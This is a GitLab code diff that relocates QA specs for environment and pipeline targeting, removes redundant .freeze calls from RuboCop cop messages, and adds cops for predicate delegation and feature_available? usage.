+ expect(group.examples[2].execution_result.status).to eq(:passed)
+ expect(group.examples[3].execution_result.status).to eq(:passed)
+ end
+
+ context 'custom env' do
+ before do
+ QA::Runtime::Scenario.define(:gitlab_address, 'https://release.gitlab.net')
+ end
+
+ it 'runs on a custom environment' do
+ group = describe_successfully do
+ it('runs on release gitlab net', only: { tld: '.net', subdomain: :release, domain: 'gitlab' }) {}
+ it('does not run on release', only: :production) {}
+ end
+
+ expect(group.examples.first.execution_result.status).to eq(:passed)
+ expect(group.examples.last.execution_result.status).to eq(:pending)
+ end
+ end
+
+ context 'production' do
+ before do
+ QA::Runtime::Scenario.define(:gitlab_address, 'https://gitlab.com/')
+ end
+
+ it 'runs on production' do
+ group = describe_successfully do
+ it('runs on prod', only: :production) {}
+ it('does not run in prod', only: { subdomain: :staging }) {}
+ it('runs in prod and staging', only: { subdomain: /(staging.)?/, domain: 'gitlab' }) {}
+ end
+
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ expect(group.examples[1].execution_result.status).to eq(:pending)
+ expect(group.examples[2].execution_result.status).to eq(:passed)
+ end
+ end
+
+ it 'outputs a message for invalid environments' do
+ group = describe_successfully do
+ it('will skip', only: :production) {}
+ end
+
+ expect(group.examples.first.execution_result.pending_message).to match(/[Tt]est.*not compatible.*environment/)
+ end
+
+ context 'with pipeline constraints' do
+ context 'without CI_PROJECT_NAME set' do
+ before do
+ stub_env('CI_PROJECT_NAME', nil)
+ described_class.configure_rspec
+ end
+
+ it 'runs on any pipeline' do
+ group = describe_successfully do
+ it('runs given a single named pipeline', only: { pipeline: :nightly }) {}
+ it('runs given an array of pipelines', only: { pipeline: [:canary, :not_nightly] }) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ expect(group.examples[1].execution_result.status).to eq(:passed)
+ end
+ end
+ end
+
+ context 'when a pipeline triggered from the default branch runs in gitlab-qa' do
+ before do
+ stub_env('CI_PROJECT_NAME', 'gitlab-qa')
+ described_class.configure_rspec
+ end
+
+ it 'runs on default branch pipelines' do
+ group = describe_successfully do
+ it('runs on master pipeline given a single pipeline', only: { pipeline: :master }) {}
+ it('runs in master given an array of pipelines', only: { pipeline: [:canary, :master] }) {}
+ it('does not run in non-default pipelines', only: { pipeline: [:nightly, :not_nightly, :not_master] }) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ expect(group.examples[1].execution_result.status).to eq(:passed)
+ expect(group.examples[2].execution_result.status).to eq(:pending)
+ end
+ end
+ end
+
+ context 'with CI_PROJECT_NAME set' do
+ before do
+ stub_env('CI_PROJECT_NAME', 'NIGHTLY')
+ described_class.configure_rspec
+ end
+
+ it 'runs on designated pipeline' do
+ group = describe_successfully do
+ it('runs on nightly', only: { pipeline: :nightly }) {}
+ it('does not run in not_nightly', only: { pipeline: :not_nightly }) {}
+ it('runs on nightly given an array', only: { pipeline: [:canary, :nightly] }) {}
+ it('does not run in not_nightly given an array', only: { pipeline: [:not_nightly, :canary] }) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ expect(group.examples[1].execution_result.status).to eq(:pending)
+ expect(group.examples[2].execution_result.status).to eq(:passed)
+ expect(group.examples[3].execution_result.status).to eq(:pending)
+ end
+ end
+ end
+ end
+
+ context 'when excluding contexts' do
+ context 'with job constraints' do
+ context 'without CI_JOB_NAME set' do
+ before do
+ stub_env('CI_JOB_NAME', nil)
+ described_class.configure_rspec
+ end
+
+ it 'runs in any job' do
+ group = describe_successfully do
+ it('runs given a single named job', exclude: { job: 'ee:instance-image' }) {}
+ it('runs given a single regex pattern', exclude: { job: '.*:instance-image' }) {}
+ it('runs given an array of jobs', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('runs given an array of regex patterns', exclude: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
+ it('runs given a mix of strings and regex patterns', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
+ end
+
+ aggregate_failures do
+ group.examples.each do |example|
+ expect(example.execution_result.status).to eq(:passed)
+ end
+ end
+ end
+ end
+
+ context 'with CI_JOB_NAME set' do
+ before do
+ stub_env('CI_JOB_NAME', 'ee:instance-image')
+ described_class.configure_rspec
+ end
+
+ it 'does not run in the specified job' do
+ group = describe_successfully do
+ it('skips given a single named job', exclude: { job: 'ee:instance-image' }) {}
+ it('skips given a single regex pattern', exclude: { job: '.*:instance-image' }) {}
+ it('skips given an array of jobs', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('skips given an array of regex patterns', exclude: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
+ it('skips given a mix of strings and regex patterns', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
+ end
+
+ aggregate_failures do
+ group.examples.each do |example|
+ expect(example.execution_result.status).to eq(:pending)
+ end
+ end
+ end
+
+ it 'runs in jobs that do not match' do
+ group = describe_successfully do
+ it('runs given a single named job', exclude: { job: 'ce:instance-image' }) {}
+ it('runs given a single regex pattern', exclude: { job: '.*:instance-image-quarantine' }) {}
+ it('runs given an array of jobs', exclude: { job: %w[ce:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('runs given an array of regex patterns', exclude: { job: %w[ce:.* qa-schedules-browser_ui.*] }) {}
+ it('runs given a mix of strings and regex patterns', exclude: { job: %w[ce:instance-image qa-schedules-browser_ui.*] }) {}
+ end
+
+ aggregate_failures do
+ group.examples.each do |example|
+ expect(example.execution_result.status).to eq(:passed)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/spec/specs/helpers/quarantine_spec.rb b/qa/spec/specs/helpers/quarantine_spec.rb
index 694c320ce3d..45754a09b17 100644
--- a/qa/spec/specs/helpers/quarantine_spec.rb
+++ b/qa/spec/specs/helpers/quarantine_spec.rb
@@ -2,25 +2,6 @@
require 'rspec/core/sandbox'
-# We need a reporter for internal tests that's different from the reporter for
-# external tests otherwise the results will be mixed up. We don't care about
-# most reporting, but we do want to know if a test fails
-class RaiseOnFailuresReporter < RSpec::Core::NullReporter
- def self.example_failed(example)
- raise example.exception
- end
-end
-
-# We use an example group wrapper to prevent the state of internal tests
-# expanding into the global state
-# See: https://github.com/rspec/rspec-core/issues/2603
-def describe_successfully(*args, &describe_body)
- example_group = RSpec.describe(*args, &describe_body)
- ran_successfully = example_group.run RaiseOnFailuresReporter
- expect(ran_successfully).to eq true
- example_group
-end
-
RSpec.configure do |c|
c.around do |ex|
RSpec::Core::Sandbox.sandboxed do |config|
@@ -38,6 +19,7 @@ end
RSpec.describe QA::Specs::Helpers::Quarantine do
include Helpers::StubENV
+ include QA::Specs::Helpers::RSpec
describe '.skip_or_run_quarantined_contexts' do
context 'with no tag focused' do
@@ -336,159 +318,4 @@ RSpec.describe QA::Specs::Helpers::Quarantine do
end
end
end
-
- describe 'running against specific environments or pipelines' do
- before do
- QA::Runtime::Scenario.define(:gitlab_address, 'https://staging.gitlab.com')
- described_class.configure_rspec
- end
-
- describe 'description and context blocks' do
- context 'with environment set' do
- it 'can apply to contexts or descriptions' do
- group = describe_successfully 'Runs in staging', only: { subdomain: :staging } do
- it('runs in staging') {}
- end
-
- expect(group.examples[0].execution_result.status).to eq(:passed)
- end
- end
-
- context 'with different environment set' do
- before do
- QA::Runtime::Scenario.define(:gitlab_address, 'https://gitlab.com')
- described_class.configure_rspec
- end
-
- it 'does not run against production' do
- group = describe_successfully 'Runs in staging', :something, only: { subdomain: :staging } do
- it('runs in staging') {}
- end
-
- expect(group.examples[0].execution_result.status).to eq(:pending)
- end
- end
- end
-
- it 'runs only in staging' do
- group = describe_successfully do
- it('runs in staging', only: { subdomain: :staging }) {}
- it('doesnt run in staging', only: :production) {}
- it('runs in staging also', only: { subdomain: %i[release staging] }) {}
- it('runs in any env') {}
- end
-
- expect(group.examples[0].execution_result.status).to eq(:passed)
- expect(group.examples[1].execution_result.status).to eq(:pending)
- expect(group.examples[2].execution_result.status).to eq(:passed)
- expect(group.examples[3].execution_result.status).to eq(:passed)
- end
-
- context 'custom env' do
- before do
- QA::Runtime::Scenario.define(:gitlab_address, 'https://release.gitlab.net')
- end
-
- it 'runs on a custom environment' do
- group = describe_successfully do
- it('runs on release gitlab net', only: { tld: '.net', subdomain: :release, domain: 'gitlab' }) {}
- it('does not run on release', only: :production) {}
- end
-
- expect(group.examples.first.execution_result.status).to eq(:passed)
- expect(group.examples.last.execution_result.status).to eq(:pending)
- end
- end
-
- context 'production' do
- before do
- QA::Runtime::Scenario.define(:gitlab_address, 'https://gitlab.com/')
- end
-
- it 'runs on production' do
- group = describe_successfully do
- it('runs on prod', only: :production) {}
- it('does not run in prod', only: { subdomain: :staging }) {}
- it('runs in prod and staging', only: { subdomain: /(staging.)?/, domain: 'gitlab' }) {}
- end
-
- expect(group.examples[0].execution_result.status).to eq(:passed)
- expect(group.examples[1].execution_result.status).to eq(:pending)
- expect(group.examples[2].execution_result.status).to eq(:passed)
- end
- end
-
- it 'outputs a message for invalid environments' do
- group = describe_successfully do
- it('will skip', only: :production) {}
- end
-
- expect(group.examples.first.execution_result.pending_message).to match(/[Tt]est.*not compatible.*environment/)
- end
-
- context 'with pipeline constraints' do
- context 'without CI_PROJECT_NAME set' do
- before do
- stub_env('CI_PROJECT_NAME', nil)
- described_class.configure_rspec
- end
-
- it 'runs on any pipeline' do
- group = describe_successfully do
- it('runs given a single named pipeline', only: { pipeline: :nightly }) {}
- it('runs given an array of pipelines', only: { pipeline: [:canary, :not_nightly] }) {}
- end
-
- aggregate_failures do
- expect(group.examples[0].execution_result.status).to eq(:passed)
- expect(group.examples[1].execution_result.status).to eq(:passed)
- end
- end
- end
-
- context 'when a pipeline triggered from the default branch runs in gitlab-qa' do
- before do
- stub_env('CI_PROJECT_NAME', 'gitlab-qa')
- described_class.configure_rspec
- end
-
- it 'runs on default branch pipelines' do
- group = describe_successfully do
- it('runs on master pipeline given a single pipeline', only: { pipeline: :master }) {}
- it('runs in master given an array of pipelines', only: { pipeline: [:canary, :master] }) {}
- it('does not run in non-default pipelines', only: { pipeline: [:nightly, :not_nightly, :not_master] }) {}
- end
-
- aggregate_failures do
- expect(group.examples[0].execution_result.status).to eq(:passed)
- expect(group.examples[1].execution_result.status).to eq(:passed)
- expect(group.examples[2].execution_result.status).to eq(:pending)
- end
- end
- end
-
- context 'with CI_PROJECT_NAME set' do
- before do
- stub_env('CI_PROJECT_NAME', 'NIGHTLY')
- described_class.configure_rspec
- end
-
- it 'runs on designated pipeline' do
- group = describe_successfully do
- it('runs on nightly', only: { pipeline: :nightly }) {}
- it('does not run in not_nightly', only: { pipeline: :not_nightly }) {}
- it('runs on nightly given an array', only: { pipeline: [:canary, :nightly] }) {}
- it('does not run in not_nightly given an array', only: { pipeline: [:not_nightly, :canary] }) {}
- end
-
- aggregate_failures do
- expect(group.examples[0].execution_result.status).to eq(:passed)
- expect(group.examples[1].execution_result.status).to eq(:pending)
- expect(group.examples[2].execution_result.status).to eq(:passed)
- expect(group.examples[3].execution_result.status).to eq(:pending)
- end
- end
- end
- end
- end
end
diff --git a/qa/spec/support/helpers/stub_env.rb b/qa/spec/support/helpers/stub_env.rb
index 8ad864dbec8..de8d2f47adf 100644
--- a/qa/spec/support/helpers/stub_env.rb
+++ b/qa/spec/support/helpers/stub_env.rb
@@ -15,7 +15,7 @@ module Helpers
private
- STUBBED_KEY = '__STUBBED__'.freeze
+ STUBBED_KEY = '__STUBBED__'
def add_stubbed_value(key, value)
allow(ENV).to receive(:[]).with(key).and_return(value)
diff --git a/rubocop/cop/avoid_keyword_arguments_in_sidekiq_workers.rb b/rubocop/cop/avoid_keyword_arguments_in_sidekiq_workers.rb
index e1c6a984e75..da3cac073ad 100644
--- a/rubocop/cop/avoid_keyword_arguments_in_sidekiq_workers.rb
+++ b/rubocop/cop/avoid_keyword_arguments_in_sidekiq_workers.rb
@@ -5,7 +5,7 @@ module RuboCop
# Cop that blacklists keyword arguments usage in Sidekiq workers
class AvoidKeywordArgumentsInSidekiqWorkers < RuboCop::Cop::Cop
MSG = "Do not use keyword arguments in Sidekiq workers. " \
- "For details, check https://github.com/mperham/sidekiq/issues/2372".freeze
+ "For details, check https://github.com/mperham/sidekiq/issues/2372"
OBSERVED_METHOD = :perform
def on_def(node)
diff --git a/rubocop/cop/gitlab/change_timzone.rb b/rubocop/cop/gitlab/change_timzone.rb
index 63e6dd411f3..c30a057d51c 100644
--- a/rubocop/cop/gitlab/change_timzone.rb
+++ b/rubocop/cop/gitlab/change_timzone.rb
@@ -5,7 +5,7 @@ module RuboCop
module Gitlab
class ChangeTimezone < RuboCop::Cop::Cop
MSG = "Do not change timezone in the runtime (application or rspec), " \
- "it could result in silently modifying other behavior.".freeze
+ "it could result in silently modifying other behavior."
def_node_matcher :changing_timezone?, <<~PATTERN
(send (const nil? :Time) :zone= ...)
diff --git a/rubocop/cop/gitlab/delegate_predicate_methods.rb b/rubocop/cop/gitlab/delegate_predicate_methods.rb
new file mode 100644
index 00000000000..43b5184faab
--- /dev/null
+++ b/rubocop/cop/gitlab/delegate_predicate_methods.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Gitlab
+ # This cop looks for delegations to predicate methods with `allow_nil: true` option.
+ # This construct results in three possible results: true, false and nil.
+ # In other words, it does not preserve the strict Boolean nature of predicate method return value.
+ # This cop suggests creating a method to handle `nil` delegator and ensure only Boolean type is returned.
+ #
+ # @example
+ # # bad
+ # delegate :is_foo?, to: :bar, allow_nil: true
+ #
+ # # good
+ # def is_foo?
+ # return false unless bar
+ # bar.is_foo?
+ # end
+ #
+ # def is_foo?
+ # !!bar&.is_foo?
+ # end
+ class DelegatePredicateMethods < RuboCop::Cop::Cop
+ MSG = "Using `delegate` with `allow_nil` on the following predicate methods is discouraged: %s."
+ RESTRICT_ON_SEND = %i[delegate].freeze
+ def_node_matcher :predicate_allow_nil_option, <<~PATTERN
+ (send nil? :delegate
+ (sym $_)*
+ (hash <$(pair (sym :allow_nil) true) ...>)
+ )
+ PATTERN
+
+ def on_send(node)
+ predicate_allow_nil_option(node) do |delegated_methods, _options|
+ offensive_methods = delegated_methods.select { |method| method.end_with?('?') }
+ next if offensive_methods.empty?
+
+ add_offense(node, message: format(MSG, offensive_methods.join(', ')))
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/gitlab/feature_available_usage.rb b/rubocop/cop/gitlab/feature_available_usage.rb
new file mode 100644
index 00000000000..b50bdd8ca43
--- /dev/null
+++ b/rubocop/cop/gitlab/feature_available_usage.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Gitlab
+ # Cop that checks for correct calling of #feature_available?
+ class FeatureAvailableUsage < RuboCop::Cop::Cop
+ OBSERVED_METHOD = :feature_available?
+ LICENSED_FEATURE_LITERAL_ARG_MSG = '`feature_available?` should not be called for features that can be licensed (`%s` given), use `licensed_feature_available?(feature)` instead.'
+ LICENSED_FEATURE_DYNAMIC_ARG_MSG = "`feature_available?` should not be called for features that can be licensed (`%s` isn't a literal so we cannot say if it's legit or not), using `licensed_feature_available?(feature)` may be more appropriate."
+ NOT_ENOUGH_ARGS_MSG = '`feature_available?` should be called with two arguments: `feature` and `user`.'
+ FEATURES = %i[
+ issues
+ forking
+ merge_requests
+ wiki
+ snippets
+ builds
+ repository
+ pages
+ metrics_dashboard
+ analytics
+ operations
+ security_and_compliance
+ container_registry
+ ].freeze
+ EE_FEATURES = %i[requirements].freeze
+ ALL_FEATURES = (FEATURES + EE_FEATURES).freeze
+ SPECIAL_CLASS = %w[License].freeze
+
+ def on_send(node)
+ return unless method_name(node) == OBSERVED_METHOD
+ return if caller_is_special_case?(node)
+ return if feature_name(node).nil?
+ return if ALL_FEATURES.include?(feature_name(node)) && args_count(node) == 2
+
+ if !ALL_FEATURES.include?(feature_name(node))
+ add_offense(node, location: :expression, message: licensed_feature_message(node))
+ elsif args_count(node) < 2
+ add_offense(node, location: :expression, message: NOT_ENOUGH_ARGS_MSG)
+ end
+ end
+
+ def licensed_feature_message(node)
+ message_template = dynamic_feature?(node) ? LICENSED_FEATURE_DYNAMIC_ARG_MSG : LICENSED_FEATURE_LITERAL_ARG_MSG
+
+ message_template % feature_arg_name(node)
+ end
+
+ private
+
+ def method_name(node)
+ node.children[1]
+ end
+
+ def class_caller(node)
+ node.children[0]&.const_name.to_s
+ end
+
+ def caller_is_special_case?(node)
+ SPECIAL_CLASS.include?(class_caller(node))
+ end
+
+ def feature_arg(node)
+ node.children[2]
+ end
+
+ def dynamic_feature?(node)
+ feature = feature_arg(node)
+ return false unless feature
+
+ !feature.literal?
+ end
+
+ def feature_name(node)
+ feature = feature_arg(node)
+ return unless feature
+ return feature.children.compact.join('.') if dynamic_feature?(node)
+ return feature.value if feature.respond_to?(:value)
+
+ feature.type
+ end
+
+ def feature_arg_name(node)
+ feature = feature_arg(node)
+ return unless feature
+ return feature.children.compact.join('.') if dynamic_feature?(node)
+ return feature.children[0].inspect if feature.literal?
+
+ feature.type
+ end
+
+ def args_count(node)
+ node.children[2..].size
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/gitlab/rails_logger.rb b/rubocop/cop/gitlab/rails_logger.rb
index ad35d2ccfbb..5a1695ce56e 100644
--- a/rubocop/cop/gitlab/rails_logger.rb
+++ b/rubocop/cop/gitlab/rails_logger.rb
@@ -21,7 +21,7 @@ module RuboCop
# # OK
# Rails.logger.level
MSG = 'Use a structured JSON logger instead of `Rails.logger`. ' \
- 'https://docs.gitlab.com/ee/development/logging.html'.freeze
+ 'https://docs.gitlab.com/ee/development/logging.html'
# See supported log methods:
# https://ruby-doc.org/stdlib-2.6.6/libdoc/logger/rdoc/Logger.html
diff --git a/rubocop/cop/graphql/descriptions.rb b/rubocop/cop/graphql/descriptions.rb
index ec233c65874..520e34dcd16 100644
--- a/rubocop/cop/graphql/descriptions.rb
+++ b/rubocop/cop/graphql/descriptions.rb
@@ -54,6 +54,10 @@ module RuboCop
(send nil? :value ...)
PATTERN
+ def_node_matcher :resolver_kwarg, <<~PATTERN
+ (... (hash <(pair (sym :resolver) $_) ...>))
+ PATTERN
+
def_node_matcher :description_kwarg, <<~PATTERN
(... (hash <(pair (sym :description) $_) ...>))
PATTERN
@@ -64,6 +68,7 @@ module RuboCop
def on_send(node)
return unless graphql_describable?(node)
+ return if resolver_kwarg(node) # Fields may inherit the description from their resolvers.
description = locate_description(node)
diff --git a/rubocop/cop/graphql/json_type.rb b/rubocop/cop/graphql/json_type.rb
index 1e3e3d7a7ff..a8c38358535 100644
--- a/rubocop/cop/graphql/json_type.rb
+++ b/rubocop/cop/graphql/json_type.rb
@@ -20,7 +20,7 @@ module RuboCop
module Graphql
class JSONType < RuboCop::Cop::Cop
MSG = 'Avoid using GraphQL::Types::JSON. See: ' \
- 'https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#json'.freeze
+ 'https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#json'
def_node_matcher :has_json_type?, <<~PATTERN
(send nil? {:field :argument}
diff --git a/rubocop/cop/include_sidekiq_worker.rb b/rubocop/cop/include_sidekiq_worker.rb
index e69bc018add..e39b8bf92c2 100644
--- a/rubocop/cop/include_sidekiq_worker.rb
+++ b/rubocop/cop/include_sidekiq_worker.rb
@@ -4,7 +4,7 @@ module RuboCop
module Cop
# Cop that makes sure workers include `ApplicationWorker`, not `Sidekiq::Worker`.
class IncludeSidekiqWorker < RuboCop::Cop::Cop
- MSG = 'Include `ApplicationWorker`, not `Sidekiq::Worker`.'.freeze
+ MSG = 'Include `ApplicationWorker`, not `Sidekiq::Worker`.'
def_node_matcher :includes_sidekiq_worker?, <<~PATTERN
(send nil? :include (const (const nil? :Sidekiq) :Worker))
diff --git a/rubocop/cop/lint/last_keyword_argument.rb b/rubocop/cop/lint/last_keyword_argument.rb
index 9652c1ace8d..80f4660eeb8 100644
--- a/rubocop/cop/lint/last_keyword_argument.rb
+++ b/rubocop/cop/lint/last_keyword_argument.rb
@@ -10,7 +10,7 @@ module RuboCop
# 1. Downloading the complete set of deprecations/ files from a CI
# pipeline (see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47720)
class LastKeywordArgument < Cop
- MSG = 'Using the last argument as keyword parameters is deprecated'.freeze
+ MSG = 'Using the last argument as keyword parameters is deprecated'
DEPRECATIONS_GLOB = File.expand_path('../../../deprecations/**/*.yml', __dir__)
KEYWORD_DEPRECATION_STR = 'maybe ** should be added to the call'
diff --git a/rubocop/cop/migration/add_column_with_default.rb b/rubocop/cop/migration/add_column_with_default.rb
index 355319b0dfe..afd7d93cd47 100644
--- a/rubocop/cop/migration/add_column_with_default.rb
+++ b/rubocop/cop/migration/add_column_with_default.rb
@@ -8,7 +8,7 @@ module RuboCop
class AddColumnWithDefault < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = '`add_column_with_default` is deprecated, use `add_column` instead'.freeze
+ MSG = '`add_column_with_default` is deprecated, use `add_column` instead'
def on_send(node)
return unless in_migration?(node)
diff --git a/rubocop/cop/migration/add_concurrent_foreign_key.rb b/rubocop/cop/migration/add_concurrent_foreign_key.rb
index 957bd30af63..ebab6aa653e 100644
--- a/rubocop/cop/migration/add_concurrent_foreign_key.rb
+++ b/rubocop/cop/migration/add_concurrent_foreign_key.rb
@@ -10,7 +10,7 @@ module RuboCop
class AddConcurrentForeignKey < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = '`add_foreign_key` requires downtime, use `add_concurrent_foreign_key` instead'.freeze
+ MSG = '`add_foreign_key` requires downtime, use `add_concurrent_foreign_key` instead'
def_node_matcher :false_node?, <<~PATTERN
(false)
diff --git a/rubocop/cop/migration/add_concurrent_index.rb b/rubocop/cop/migration/add_concurrent_index.rb
index 510f98ce373..bfe7c15bfdf 100644
--- a/rubocop/cop/migration/add_concurrent_index.rb
+++ b/rubocop/cop/migration/add_concurrent_index.rb
@@ -11,7 +11,7 @@ module RuboCop
include MigrationHelpers
MSG = '`add_concurrent_index` is not reversible so you must manually define ' \
- 'the `up` and `down` methods in your migration class, using `remove_concurrent_index` in `down`'.freeze
+ 'the `up` and `down` methods in your migration class, using `remove_concurrent_index` in `down`'
def on_send(node)
return unless in_migration?(node)
diff --git a/rubocop/cop/migration/add_index.rb b/rubocop/cop/migration/add_index.rb
index 7415880e554..327e89fb040 100644
--- a/rubocop/cop/migration/add_index.rb
+++ b/rubocop/cop/migration/add_index.rb
@@ -9,7 +9,7 @@ module RuboCop
class AddIndex < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = '`add_index` requires downtime, use `add_concurrent_index` instead'.freeze
+ MSG = '`add_index` requires downtime, use `add_concurrent_index` instead'
def on_def(node)
return unless in_migration?(node)
diff --git a/rubocop/cop/migration/add_limit_to_text_columns.rb b/rubocop/cop/migration/add_limit_to_text_columns.rb
index 126e4e21f22..f45551e60a4 100644
--- a/rubocop/cop/migration/add_limit_to_text_columns.rb
+++ b/rubocop/cop/migration/add_limit_to_text_columns.rb
@@ -14,7 +14,7 @@ module RuboCop
include MigrationHelpers
MSG = 'Text columns should always have a limit set (255 is suggested). ' \
- 'You can add a limit to a `text` column by using `add_text_limit`'.freeze
+ 'You can add a limit to a `text` column by using `add_text_limit`'
def_node_matcher :reverting?, <<~PATTERN
(def :down ...)
diff --git a/rubocop/cop/migration/add_timestamps.rb b/rubocop/cop/migration/add_timestamps.rb
index d16e8b1f45b..01d3f01ef4f 100644
--- a/rubocop/cop/migration/add_timestamps.rb
+++ b/rubocop/cop/migration/add_timestamps.rb
@@ -9,7 +9,7 @@ module RuboCop
class AddTimestamps < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = 'Do not use `add_timestamps`, use `add_timestamps_with_timezone` instead'.freeze
+ MSG = 'Do not use `add_timestamps`, use `add_timestamps_with_timezone` instead'
# Check methods.
def on_send(node)
diff --git a/rubocop/cop/migration/datetime.rb b/rubocop/cop/migration/datetime.rb
index 51e0c3e5a22..c605c8e1b6e 100644
--- a/rubocop/cop/migration/datetime.rb
+++ b/rubocop/cop/migration/datetime.rb
@@ -9,7 +9,7 @@ module RuboCop
class Datetime < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = 'Do not use the `%s` data type, use `datetime_with_timezone` instead'.freeze
+ MSG = 'Do not use the `%s` data type, use `datetime_with_timezone` instead'
# Check methods in table creation.
def on_def(node)
diff --git a/rubocop/cop/migration/hash_index.rb b/rubocop/cop/migration/hash_index.rb
index dba202ef0e3..8becef891af 100644
--- a/rubocop/cop/migration/hash_index.rb
+++ b/rubocop/cop/migration/hash_index.rb
@@ -11,7 +11,7 @@ module RuboCop
include MigrationHelpers
MSG = 'hash indexes should be avoided at all costs since they are not ' \
- 'recorded in the PostgreSQL WAL, you should use a btree index instead'.freeze
+ 'recorded in the PostgreSQL WAL, you should use a btree index instead'
NAMES = Set.new([:add_index, :index, :add_concurrent_index]).freeze
diff --git a/rubocop/cop/migration/prevent_strings.rb b/rubocop/cop/migration/prevent_strings.rb
index bfeabd2c78d..57e29bf74ae 100644
--- a/rubocop/cop/migration/prevent_strings.rb
+++ b/rubocop/cop/migration/prevent_strings.rb
@@ -11,7 +11,7 @@ module RuboCop
MSG = 'Do not use the `string` data type, use `text` instead. ' \
'Updating limits on strings requires downtime. This can be avoided ' \
- 'by using `text` and adding a limit with `add_text_limit`'.freeze
+ 'by using `text` and adding a limit with `add_text_limit`'
def_node_matcher :reverting?, <<~PATTERN
(def :down ...)
diff --git a/rubocop/cop/migration/remove_column.rb b/rubocop/cop/migration/remove_column.rb
index f63df71467c..6a171ac948f 100644
--- a/rubocop/cop/migration/remove_column.rb
+++ b/rubocop/cop/migration/remove_column.rb
@@ -10,7 +10,7 @@ module RuboCop
class RemoveColumn < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = '`remove_column` must only be used in post-deployment migrations'.freeze
+ MSG = '`remove_column` must only be used in post-deployment migrations'
def on_def(node)
def_method = node.children[0]
diff --git a/rubocop/cop/migration/remove_concurrent_index.rb b/rubocop/cop/migration/remove_concurrent_index.rb
index 8c2c6fb157e..30dd59d97bc 100644
--- a/rubocop/cop/migration/remove_concurrent_index.rb
+++ b/rubocop/cop/migration/remove_concurrent_index.rb
@@ -11,7 +11,7 @@ module RuboCop
include MigrationHelpers
MSG = '`remove_concurrent_index` is not reversible so you must manually define ' \
- 'the `up` and `down` methods in your migration class, using `add_concurrent_index` in `down`'.freeze
+ 'the `up` and `down` methods in your migration class, using `add_concurrent_index` in `down`'
def on_send(node)
return unless in_migration?(node)
diff --git a/rubocop/cop/migration/remove_index.rb b/rubocop/cop/migration/remove_index.rb
index 15c2f37b4b0..ca5d4af1520 100644
--- a/rubocop/cop/migration/remove_index.rb
+++ b/rubocop/cop/migration/remove_index.rb
@@ -9,7 +9,7 @@ module RuboCop
class RemoveIndex < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = '`remove_index` requires downtime, use `remove_concurrent_index` instead'.freeze
+ MSG = '`remove_index` requires downtime, use `remove_concurrent_index` instead'
def on_def(node)
return unless in_migration?(node)
diff --git a/rubocop/cop/migration/safer_boolean_column.rb b/rubocop/cop/migration/safer_boolean_column.rb
index 06bb24707bd..1d780d96afa 100644
--- a/rubocop/cop/migration/safer_boolean_column.rb
+++ b/rubocop/cop/migration/safer_boolean_column.rb
@@ -21,9 +21,9 @@ module RuboCop
class SaferBooleanColumn < RuboCop::Cop::Cop
include MigrationHelpers
- DEFAULT_OFFENSE = 'Boolean columns on the `%s` table should have a default. You may wish to use `add_column_with_default`.'.freeze
- NULL_OFFENSE = 'Boolean columns on the `%s` table should disallow nulls.'.freeze
- DEFAULT_AND_NULL_OFFENSE = 'Boolean columns on the `%s` table should have a default and should disallow nulls. You may wish to use `add_column_with_default`.'.freeze
+ DEFAULT_OFFENSE = 'Boolean columns on the `%s` table should have a default. You may wish to use `add_column_with_default`.'
+ NULL_OFFENSE = 'Boolean columns on the `%s` table should disallow nulls.'
+ DEFAULT_AND_NULL_OFFENSE = 'Boolean columns on the `%s` table should have a default and should disallow nulls. You may wish to use `add_column_with_default`.'
def_node_matcher :add_column?, <<~PATTERN
(send nil? :add_column $...)
diff --git a/rubocop/cop/migration/timestamps.rb b/rubocop/cop/migration/timestamps.rb
index 5584d49ee8c..44baf17d968 100644
--- a/rubocop/cop/migration/timestamps.rb
+++ b/rubocop/cop/migration/timestamps.rb
@@ -9,7 +9,7 @@ module RuboCop
class Timestamps < RuboCop::Cop::Cop
include MigrationHelpers
- MSG = 'Do not use `timestamps`, use `timestamps_with_timezone` instead'.freeze
+ MSG = 'Do not use `timestamps`, use `timestamps_with_timezone` instead'
# Check methods in table creation.
def on_def(node)
diff --git a/rubocop/cop/migration/update_column_in_batches.rb b/rubocop/cop/migration/update_column_in_batches.rb
index d23e0d28380..e23042e1b9f 100644
--- a/rubocop/cop/migration/update_column_in_batches.rb
+++ b/rubocop/cop/migration/update_column_in_batches.rb
@@ -11,7 +11,7 @@ module RuboCop
include MigrationHelpers
MSG = 'Migration running `update_column_in_batches` must have a spec file at' \
- ' `%s`.'.freeze
+ ' `%s`.'
def on_send(node)
return unless in_migration?(node)
diff --git a/rubocop/cop/migration/with_lock_retries_disallowed_method.rb b/rubocop/cop/migration/with_lock_retries_disallowed_method.rb
index f423bde8343..cb36e7413ab 100644
--- a/rubocop/cop/migration/with_lock_retries_disallowed_method.rb
+++ b/rubocop/cop/migration/with_lock_retries_disallowed_method.rb
@@ -27,6 +27,7 @@ module RuboCop
foreign_key_exists?
index_exists?
column_exists?
+ create_trigger_to_sync_tables
].sort.freeze
